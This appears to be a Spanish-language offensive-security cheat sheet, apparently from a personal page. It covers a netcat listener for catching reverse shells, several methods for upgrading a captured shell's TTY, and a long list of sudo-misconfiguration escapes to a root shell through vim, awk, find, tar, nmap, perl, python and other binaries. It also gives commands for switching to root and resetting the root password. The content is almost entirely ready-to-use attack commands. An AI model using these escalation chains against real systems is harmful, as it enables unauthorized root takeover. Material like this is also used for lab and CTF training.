sudo vim -c ':!/bin/sh'

Esto requiere que vim esté compilado con soporte para Python. Anteponer :py3 para Python 3:
sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

Esto requiere que vim esté compilado con soporte para Lua:
sudo vim -c ':lua os.execute("reset; exec sh")'
 

22- vim

🐱​ ESCUCHAR CON NETCAT

Poner a la máquina atacante en escucha de conexiones entrantes por un puerto dado (en este caso 443):
sudo nc -nlvp 443

Explicación de parámetros:
-n                  (Evita la resolución de DNS, trabajando directamente con direcciones IP. Esto reduce latencia y posibles errores de resolución de nombres)
-l                   (Modo "listen" para escuchar conexiones entrantes)
-v                  (Modo verbose, muestra más información sobre las conexiones, como la IP y puerto del cliente que se conecta)
-p 443        (Especifica explícitamente el puerto 443. En algunas versiones de netcat, simplemente poner el número del puerto al final funciona igual)
 

netcat_listen

 ​🈂️ TRATAMIENTO DE LA TTY (MEJORAR UNA SHELL PRECARIA)
 
En un entorno Linux, TTY (TeleTYpewriter) es un término que se refiere a una interfaz de texto que permite la comunicación entre el usuario y el sistema. Originalmente, los TTY eran dispositivos físicos (teletipos) que se utilizaban para interactuar con los sistemas informáticos, pero en la actualidad, el término se refiere principalmente a las terminales virtuales o consolas de texto en sistemas modernos.

Cuando se habla de tratar la TTY se hace referencia a mejorar el display de la shell, o incluso de mejorar de shell (por ejemplo de una
sh a una bash). A continuación, algunas formas de lograrlo cuando manejamos una shell remota que entra por un puerto dado, "escuchando" con NetCat:


1️⃣ MÉTODO 1 (Más sencillo, aunque no suele funcionar. Diagnosticar tipo de terminal con echo $TERM):
shell
bash

 

2️⃣ MÉTODO 2:
1º. (Inicia una sesión de bash interactiva, descartando la grabación de la sesión. Como resultado adquirimos un "prompt")
script /dev/null -c bash

2º. (Suspende el proceso actual en la terminal y lo envía a segundo plano)
[ctrl] + [Z]

3º. (Configura la terminal en modo "raw" o "crudo" y desactiva el eco, luego retoma el proceso suspendido anteriormente)
stty raw -echo; fg

zsh: suspended nc -nlvp 4444

NOTA: Si la terminal queda en un estado inestable o falla, recuperarla con:
stty sane
o
reset


4º. (No se ve el input. Reinicia la configuración de la terminal al tipo "xterm"):
reset xterm

5ª. (Establece el tipo de terminal como "xterm")
export TERM=xterm

6ª. (Establece bash como la shell predeterminada para la sesión actual)
export SHELL=bash


3️⃣ MÉTODO 3 
(comprobar si python/python3 están presentes en el sistema con which python/which python3):
1º. (Este comando usa Python para invocar una shell interactiva)

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

2º. (Ejecuta una bash shell mientras suprime la grabación de log de la sesión)
/usr/bin/script -qc /bin/bash /dev/null

3º. (Establece un tipo de sesión de terminal que soporte funciones avanzadas como 256 colores)
export TERM=xterm-256color

 
 
3️⃣ MÉTODO 4 (comprobar si perl está presente en el sistema con which perl):
1º. (Estos comandos usan Perl para invocar una shell interactiva)
perl -e 'exec "/bin/bash";'
o
perl -e 'require "pty.pm"; PTY::spawn("/bin/bash");'

2º. (Ejecuta una bash shell mientras suprime la grabación de log de la sesión)
/usr/bin/script -qc /bin/bash /dev/null
 
3º. (Establece un tipo de sesión de terminal que soporte funciones avanzadas como 256 colores)
export TERM=xterm-256color
 

trat_TTY

👑​ ESCALAR PRIVILEGIOS 

🅱️ Recopilación de líneas para escalar privilegios con los principales binarios, si son vulnerables por mala configuración:
sudo /bin/bash -l
sudo sudo /bin/sh                                                                            (sudo)
sudo awk 'BEGIN {system("/bin/sh")}'                                       (awk)
sudo cp /bin/sh /bin/cp                                                                   (cp)
sudo cp                                                                                                  (cp)
sudo env /bin/sh                                                                                (env)
sudo find . -exec /bin/sh \; -quit                                                   (find)
 
sudo less /etc/profile                                                                       (less. 2 líneas)
!/bin/sh

TERM= sudo more /etc/profile                                                       (more. 2 líneas)
!/bin/sh

sudo nano                                                                                            (nano. 3 líneas)
^R^X
reset; sh 1>&0 2>&0

TF=$(mktemp)                                                                                    (nmap. 3 líneas)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF

sudo nmap --interactive                                                                    (nmap. 2 líneas)
nmap> !sh

sudo perl -e 'exec "/bin/sh";'                                                              (perl)
sudo python -c 'import os; os.system("/bin/sh")'                      (python)
sudo python3 -c 'import os; os.system("/bin/sh")'                   (python3)
sudo ruby -e 'exec "/bin/sh"'                                                             (ruby)
sudo sed -n '1e exec sh 1>&0' /etc/hosts                                      (sed)
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh      (tar)
sudo vi -c ':!/bin/sh' /dev/null                                                              (vi)
sudo vim -c ':!/bin/sh'                                                                            (vim)
sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'                     (vim)
sudo vim -c ':lua os.execute("reset; exec sh")'                                                                           (vim)



☑️ Varias formas para tratar de "logearse" como root con diferentes líneas:
sudo su                                                              (cambia al usuario root ejecutando una shell con privilegios de superusuario usando sudo)
su root                                                                (cambia al usuario root iniciando una nueva shell, solicitando la contraseña de root)
/usr/bin/su -                                                     (inicia una shell como root con un entorno de login limpio (carga las variables de entorno de root))
/usr/bin/su - root                                            (igual que el anterior, pero especifica explícitamente el usuario root)
/usr/bin/su -l root                                           (similar al anterior, inicia una shell de login como root con un entorno completo)
/usr/bin/chfn root                                           (modifica la información de usuario (como nombre completo o datos GECOS) para root, solicitando                                                                                                                          cambios interactivamente)
/usr/bin/chsh -s /bin/bash root                  (cambia la shell predeterminada del usuario root a /bin/bash)
/usr/bin/mount /dev/loop0 /mnt              (monta el dispositivo de bucle /dev/loop0 (como una imagen de disco) en el directorio /mnt)
/usr/bin/newgrp root                                     (cambia el grupo primario del usuario actual al grupo root, iniciando una nueva shell con ese grupo)


🔑 Cambiar la contraseña de root e iniciar una sesión como root con la nueva contraseña y en un entorno limpio. Funciona en sistemas mal configurados:
/usr/bin/passwd root
su -
 

privilege_esc
bottom of page